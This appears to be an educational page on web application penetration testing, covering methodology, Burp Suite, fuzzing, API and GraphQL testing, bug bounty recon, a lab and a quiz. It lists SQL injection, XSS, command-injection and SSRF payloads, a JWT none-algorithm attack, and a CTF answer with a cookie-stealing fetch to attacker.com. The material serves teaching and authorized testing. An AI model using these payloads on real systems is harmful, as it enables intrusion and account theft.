Web Application Penetration Testing
Web applications are the most common attack surface in modern organizations. Every SaaS product, internal tool, API, and customer portal is a web application. Web app pentesting is the systematic process of finding security vulnerabilities in these applications before attackers do. This page covers the methodology, tools, and techniques used by professional penetration testers and bug bounty hunters.
Related: Cybersecurity Overview | Secure Coding | OWASP Top 10 | API Security
Authorization Required
Only test applications you own or have explicit written permission to test. Unauthorized testing is a criminal offense. Use bug bounty programs or lab environments for practice.
Web App Pentesting Methodology
Professional pentesting follows a structured methodology. The OWASP Testing Guide v4.2 defines the standard, but every tester adapts it.
Phase Checklist
| Phase | Activities | Time Allocation |
|---|---|---|
| Reconnaissance | Technology fingerprinting, directory brute-forcing, subdomain enumeration, JavaScript analysis | 15-20% |
| Mapping | Build sitemap, identify parameters, map authentication flows, document roles | 10-15% |
| Discovery | Test each vulnerability class against each entry point systematically | 40-50% |
| Exploitation | Prove impact — extract data, escalate privileges, chain vulnerabilities | 15-20% |
| Reporting | Document findings with reproduction steps, impact, and remediation | 10-15% |
Burp Suite Deep Dive
Burp Suite is the industry-standard tool for web application testing. Understanding its components is essential.
Core Components
Proxy Setup
1. Configure browser proxy: 127.0.0.1:8080
2. Install Burp's CA certificate for HTTPS interception:
- Navigate to http://burp in your proxied browser
- Download and install the CA certificate
- Trust it in your browser's certificate store
3. Scope configuration:
- Target > Scope > Add target URL
- Enable "Use advanced scope control"
- Proxy > Options > "Only intercept requests in scope"Repeater — Manual Request Testing
Repeater is where you spend most of your time. It lets you modify and resend individual requests while seeing the response in real time.
# Original request captured from proxy
GET /api/users/123 HTTP/2
Host: target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
Cookie: session=abc123
# Test IDOR — change user ID
GET /api/users/124 HTTP/2
# Test parameter pollution
GET /api/users/123?role=admin HTTP/2
# Test method tampering
POST /api/users/123 HTTP/2
Content-Type: application/json
{"role": "admin"}Intruder — Automated Fuzzing
Intruder automates the process of sending many requests with varying payloads.
Attack Types:
| Type | Payloads | Use Case |
|---|---|---|
| Sniper | One position at a time, single payload list | Test one parameter with a wordlist |
| Battering Ram | Same payload in all positions simultaneously | Test same value everywhere |
| Pitchfork | One payload per position, in lockstep | Username + password pairs |
| Cluster Bomb | All combinations of all payload lists | Brute force all combos |
# Example: Brute-force directory enumeration
Target: GET /FUZZ HTTP/1.1
Payload: /usr/share/seclists/Discovery/Web-Content/common.txt
Filter: Response code != 404, Response length != baseline
# Example: Parameter fuzzing for SQLi
Target: GET /search?q=FUZZ HTTP/1.1
Payload: /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
Filter: Response contains "error", "syntax", "mysql"Free Alternative: ffuf
Burp Intruder is throttled in the Community edition. Use ffuf for fast fuzzing:
# Directory brute force
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403
# Parameter fuzzing
ffuf -u "https://target.com/search?q=FUZZ" -w sqli-payloads.txt -fr "no results"
# Subdomain fuzzing
ffuf -u https://FUZZ.target.com -w subdomains.txt -mc 200Manual Testing Areas
Automated scanners catch common issues. The real skill is in manual testing of logic, authentication, and authorization.
Authentication Testing
| Test | What to Try | Vulnerability |
|---|---|---|
| Default credentials | admin:admin, admin:password, root:toor | CWE-798 |
| Brute force protection | Send 100+ login attempts — does rate limiting kick in? | CWE-307 |
| Password policy | Register with "1" as password — is it accepted? | CWE-521 |
| Account enumeration | Try valid vs invalid usernames — do error messages differ? | CWE-204 |
| Password reset | Is the token predictable? Does it expire? Can you reuse it? | CWE-640 |
| Session fixation | Can you set session ID before authentication? | CWE-384 |
| Multi-factor bypass | Remove 2FA parameter, change response from false to true | CWE-304 |
# Account enumeration via timing
# Valid username: 2.3s response (password hash checked)
# Invalid username: 0.1s response (fast rejection)
curl -w "%{time_total}" -o /dev/null -s -X POST https://target.com/login \
-d "username=admin&password=wrong"
curl -w "%{time_total}" -o /dev/null -s -X POST https://target.com/login \
-d "username=nonexistent&password=wrong"Authorization Testing (IDOR / Broken Access Control)
Broken access control is the #1 OWASP vulnerability. Test every endpoint with different privilege levels.
# Test horizontal privilege escalation (IDOR)
# Logged in as user 123, try to access user 124's data
GET /api/users/124/profile HTTP/2
Authorization: Bearer <user123_token>
# Test vertical privilege escalation
# Normal user trying admin endpoint
GET /admin/dashboard HTTP/2
Authorization: Bearer <normal_user_token>
# Test parameter-based access control
POST /api/transfer HTTP/2
Content-Type: application/json
{"from": "my_account", "to": "attacker", "amount": 10000}
# Change "from" to another user's account
# Test HTTP method override
# GET is blocked but...
POST /admin/users/delete/5 HTTP/2
X-HTTP-Method-Override: DELETEIDOR Checklist
Test every numeric ID, UUID, filename, and object reference with:
- Another user's valid ID (horizontal escalation)
- An admin user's ID (vertical escalation)
- Sequential IDs (enumeration)
- Negative numbers, zero, very large numbers (edge cases)
- Other object types (can a user ID access an order ID endpoint?)
Input Validation Testing
# SQL Injection — test every parameter
' OR '1'='1
' OR '1'='1' --
' UNION SELECT NULL,NULL,NULL --
1; WAITFOR DELAY '0:0:5' -- # Time-based blind
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' -- # Boolean blind
# XSS — test every output point
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg onload=alert(1)>
javascript:alert(1)
{{constructor.constructor('alert(1)')()}} # Template injection
# Command injection — test parameters that interact with system
; id
| id
$(id)
`id`
; cat /etc/passwd
# SSRF — test URL parameters
http://169.254.169.254/latest/meta-data/ # AWS metadata
http://127.0.0.1:22 # Internal port scanning
file:///etc/passwd # Local file readBusiness Logic Testing
Logic flaws cannot be found by scanners. They require understanding the application's intended behavior.
| Test Case | What to Try | Example |
|---|---|---|
| Price manipulation | Modify price parameter in cart/checkout request | Change price=100 to price=1 |
| Quantity abuse | Order negative quantity for refund | qty=-5 generates credit |
| Race conditions | Send same coupon code in parallel requests | Apply discount multiple times |
| Workflow bypass | Skip steps in multi-step process | Jump from step 1 to step 4 |
| Privilege boundary | Perform action after account downgrade | Use premium feature after cancellation |
| State confusion | Manipulate object state transitions | Change order from "shipped" to "refund" |
# Race condition testing with Python
import asyncio
import aiohttp
async def apply_coupon(session, url, coupon):
async with session.post(url, json={"coupon": coupon}) as resp:
return await resp.json()
async def race_condition_test():
url = "https://target.com/api/apply-coupon"
coupon = "DISCOUNT50"
async with aiohttp.ClientSession() as session:
# Send 20 requests simultaneously
tasks = [apply_coupon(session, url, coupon) for _ in range(20)]
results = await asyncio.gather(*tasks)
# Check how many succeeded — should be 1, if >1 = vulnerability
successes = [r for r in results if r.get("applied")]
print(f"Coupon applied {len(successes)} times")API Pentesting
REST API Testing
# Enumerate API endpoints
ffuf -u https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
# Test HTTP methods
for method in GET POST PUT DELETE PATCH OPTIONS; do
echo "=== $method ==="
curl -s -o /dev/null -w "%{http_code}" -X $method https://api.target.com/users
done
# JWT testing — decode without verification
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature" | \
cut -d. -f2 | base64 -d 2>/dev/null
# JWT none algorithm attack
# Change header to {"alg":"none"} and remove signature
# Original: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature
# Attack: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
# Mass assignment — send extra fields
curl -X POST https://api.target.com/register \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test123","role":"admin","is_admin":true}'GraphQL API Testing
GraphQL APIs often expose their entire schema through introspection.
# Introspection query — dump the entire schema
{
__schema {
types {
name
fields {
name
type { name }
}
}
}
}
# Query all users (if exposed)
{
users {
id
username
email
password_hash
role
}
}
# Nested query attack (DoS via depth)
{
user(id: 1) {
friends {
friends {
friends {
friends {
name
}
}
}
}
}
}# GraphQL endpoint discovery
ffuf -u https://target.com/FUZZ -w graphql-wordlist.txt
# Common endpoints: /graphql, /gql, /v1/graphql, /api/graphql
# Introspection with curl
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
# Tool: InQL Burp extension or graphql-voyager for schema visualizationBug Bounty Methodology
Bug bounty hunting requires a different approach than traditional pentesting. You are competing against thousands of other hunters.
Recon Automation for Bug Bounties
# Subdomain enumeration pipeline
subfinder -d target.com -silent | \
httpx -silent -status-code -title | \
tee live_subdomains.txt
# Find JavaScript files and extract endpoints
cat live_subdomains.txt | awk '{print $1}' | \
gau --threads 5 | grep "\.js$" | sort -u > js_files.txt
# Extract API endpoints from JavaScript
cat js_files.txt | while read url; do
curl -s "$url" | grep -oP '"/api/[^"]*"' | sort -u
done > api_endpoints.txt
# Check for subdomain takeover
subjack -w subdomains.txt -t 20 -o takeover_results.txt
# Screenshot all live subdomains
cat live_subdomains.txt | awk '{print $1}' | aquatoneCommon Vulnerability Chains
Individual vulnerabilities are often low severity. Chains demonstrate real impact.
| Chain | Step 1 | Step 2 | Step 3 | Impact |
|---|---|---|---|---|
| SSRF to RCE | SSRF on image import | Access AWS metadata 169.254.169.254 | Use IAM credentials to access S3/Lambda | Full cloud compromise |
| XSS to Account Takeover | Stored XSS in profile field | Steal admin's session cookie | Access admin panel | Full admin access |
| IDOR to Data Breach | IDOR on /api/users/{id} | Enumerate all user IDs | Extract PII for all users | Mass data breach |
| SQLi to RCE | SQL injection in search | INTO OUTFILE to write webshell | Execute OS commands | Server compromise |
| Open Redirect to Token Theft | Open redirect on login callback | Redirect OAuth flow to attacker domain | Capture authorization code | Account takeover |
Writing Good Bug Reports
A well-written report gets triaged faster and paid higher. Always include:
- Title: Clear one-line summary with impact
- Severity: CVSS score with justification
- Steps to reproduce: Exact steps, anyone should be able to follow
- Impact: What can an attacker do? Show it, do not just claim it
- Remediation: Suggest a fix
- Proof of concept: Screenshots, HTTP requests/responses, video
Web Security Testing Tools
| Tool | Purpose | Command Example |
|---|---|---|
| Burp Suite | Intercepting proxy, scanner | GUI-based |
| ffuf | Web fuzzer (dirs, params, vhosts) | ffuf -u URL/FUZZ -w wordlist.txt |
| SQLMap | Automated SQL injection | sqlmap -u "URL?id=1" --dbs |
| Nikto | Web server scanner | nikto -h https://target.com |
| Gobuster | Directory/DNS brute-forcing | gobuster dir -u URL -w wordlist.txt |
| Nuclei | Template-based vuln scanner | nuclei -u URL -t cves/ |
| WPScan | WordPress scanner | wpscan --url URL --enumerate u,p,t |
| Arjun | Parameter discovery | arjun -u https://target.com/page |
| ParamSpider | Parameter mining from archives | paramspider -d target.com |
Further Reading
- Cybersecurity Overview — career paths and learning roadmap
- Secure Coding — how to fix what pentesting finds
- OWASP Top 10 — the ten most critical web vulnerabilities
- API Security — defensive API security architecture
- OSINT — reconnaissance techniques for target discovery
- Security Tools Encyclopedia — comprehensive tool reference
Key Takeaway
- Web app pentesting is systematic, not random — follow a methodology (recon, mapping, discovery, exploitation, reporting) and test every vulnerability class against every entry point
- Broken access control (IDOR/BOLA) is the #1 OWASP vulnerability and cannot be found by scanners — manual testing of every endpoint with different privilege levels is required
- Vulnerability chains turn low-severity findings into critical impact: SSRF to AWS metadata to cloud compromise, or XSS to session theft to account takeover
Hands-On Lab
Lab: Complete Web Application Penetration Test
- Deploy OWASP Juice Shop or DVWA locally with Docker
- Configure Burp Suite as your proxy and add the target to scope
- Crawl the application manually while Burp captures all endpoints in the site map
- Test authentication: try default credentials, brute force protection, account enumeration, and password reset flows
- Test authorization: create two accounts, then use Burp Repeater to access one account's data with the other's session token (IDOR)
- Test input validation: inject SQL payloads, XSS payloads, and command injection into every parameter
- Test business logic: manipulate prices in the cart, apply coupons multiple times, skip checkout steps
- Write a professional pentest report documenting each finding with reproduction steps, impact, and remediation
CTF Challenge
Challenge: The Multi-Step Exploit
A web application has a profile page where users can set a "website URL." An admin bot visits every profile page hourly. The application also has an internal admin panel at /admin that is only accessible from localhost. Chain vulnerabilities to access the admin panel and retrieve the flag.
Hints:
- The website URL field accepts JavaScript URLs — test for stored XSS
- The admin bot has a cookie with the admin session token
- The admin panel has an SSRF-vulnerable "fetch URL" feature
Answer
Step 1: Store XSS via the website URL field using javascript:fetch('https://attacker.com/steal?c='+document.cookie). Step 2: When the admin bot visits your profile, their session cookie is sent to your server. Step 3: Use the admin session to access /admin. Step 4: Use the admin panel's "fetch URL" feature to access http://127.0.0.1/admin/flag. Flag: CTF{xss_to_session_theft_to_ssrf_chain}.
:::
Common Misconceptions
- "Automated scanners find all web vulnerabilities" — Scanners miss business logic flaws, IDORs, race conditions, and authentication bypass. They are good for finding XSS and SQLi but miss the most impactful bugs.
- "HTTPS means the application is secure" — HTTPS protects data in transit but does nothing against application-layer vulnerabilities like SQLi, XSS, IDOR, or SSRF.
- "WAFs prevent all attacks" — WAFs can be bypassed with encoding tricks, parameter pollution, and custom payloads. They are defense-in-depth, not a replacement for secure code.
- "GraphQL APIs are more secure than REST" — GraphQL introduces unique attack vectors: introspection disclosure, nested query DoS, batching attacks, and authorization bypass.
- "Self-XSS is not a real vulnerability" — Self-XSS alone has limited impact, but combined with CSRF or social engineering, it can become a viable attack vector.
Quiz
1. What Burp Suite component is used for manual request modification and replay?
a) Proxy b) Intruder c) Repeater d) Scanner
Answer
c) Repeater allows you to modify individual HTTP requests and resend them while observing the response, making it the primary tool for manual vulnerability testing.
2. What is the difference between horizontal and vertical privilege escalation?
a) Horizontal is faster, vertical is slower b) Horizontal accesses another user's data at the same privilege level; vertical accesses higher-privilege functionality c) They are the same thing d) Horizontal uses XSS, vertical uses SQLi
Answer
b) Horizontal escalation (IDOR) accesses resources belonging to another user at the same level. Vertical escalation accesses administrative or higher-privilege functionality as a regular user.
3. What technique tests for blind SQL injection when no error messages are returned?
a) UNION SELECT b) Time-based injection using WAITFOR DELAY or SLEEP c) Error-based injection d) Stacked queries
Answer
b) Time-based blind SQLi uses database sleep functions (e.g., WAITFOR DELAY '0:0:5' in MSSQL or SLEEP(5) in MySQL) to infer true/false conditions based on response time.
4. What HTTP header is most commonly used to test for SSRF?
a) Content-Type b) User-Agent c) URL parameters that accept URLs (not a header, but the most common vector) d) Accept
Answer
c) SSRF is most commonly found in URL parameters, webhook configurations, image/PDF import features, and any functionality that fetches a user-supplied URL server-side.
5. Why are race conditions difficult to find with automated scanners?
a) Scanners cannot send HTTP requests b) Race conditions require precise timing of concurrent requests, which scanners do not test c) Race conditions only affect mobile apps d) Scanners are too fast
Answer
b) Race conditions require sending multiple simultaneous requests to exploit timing windows (e.g., applying a coupon twice). Automated scanners send requests sequentially and do not test for concurrent execution issues.
:::
One-Liner Summary: Web app pentesting is the art of asking every endpoint one question: what happens if I send something you did not expect?